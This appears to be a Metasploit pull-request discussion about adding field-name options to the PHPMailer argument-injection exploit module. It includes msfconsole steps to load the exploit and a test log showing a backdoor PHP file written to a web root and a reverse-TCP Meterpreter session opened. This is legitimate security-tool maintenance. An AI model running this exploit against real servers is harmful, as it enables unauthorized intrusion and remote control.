Phpmailer arg injection update

[erikbomb]

Added Advanced options to change the name of the fields for the name, email, and message objects. Set the default to the previous hard coded value.

No changes to the functionality of the code just adding the ability for users to modify values. Edited previous advanced option to comply with camel case.

Also went to the documentation and added the new advanced options.

This update was in the attic (Did not have time to work on this for a while sorry!) RE #15810
Thanks for the help!

Verification

• Start msfconsole
• use exploits/multi/http/phpmailer_arg_injection
• set NAME_FIELD different_name

@smcintyre-r7

[smcintyre-r7]

Tested this successfully and everything is looking good. Changing the field datastore options will affect success, so I left them at their default values but confirmed they were changing the outcome. Once the unit tests pass, I'll get this landed.

[*] Processing /home/smcintyre/.msf4/msfconsole.rc for ERB directives.
resource (/home/smcintyre/.msf4/msfconsole.rc)> load request
[*] Successfully loaded plugin: Request
resource (/home/smcintyre/.msf4/msfconsole.rc)> load versions
[*] versions plugin loaded.
[*] Successfully loaded plugin: versions
resource (/home/smcintyre/.msf4/msfconsole.rc)> loadpath test/modules
Loaded 38 modules:
    14 auxiliary modules
    13 exploit modules
    11 post modules
[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Writing the backdoor to /www/q19zYsn1.php
[*] Sleeping before requesting the payload from: /q19zYsn1.php
[*] Waiting for up to 300 seconds to trigger the payload
[+] Successfully found the payload
[*] Sending stage (39927 bytes) to 172.17.0.2
[+] Deleted /www/q19zYsn1.php
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 172.17.0.2:40494) at 2022-06-29 12:04:52 -0400
[+] Successfully triggered the payload

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.159.128 - Meterpreter session 1 closed.  Reason: Died

[smcintyre-r7]

Release Notes

This updates the PHP Mailer Argument Injection exploit to allow setting the names of certain fields via advanced options. These configuration options then allow the exploit to work in additional scenarios.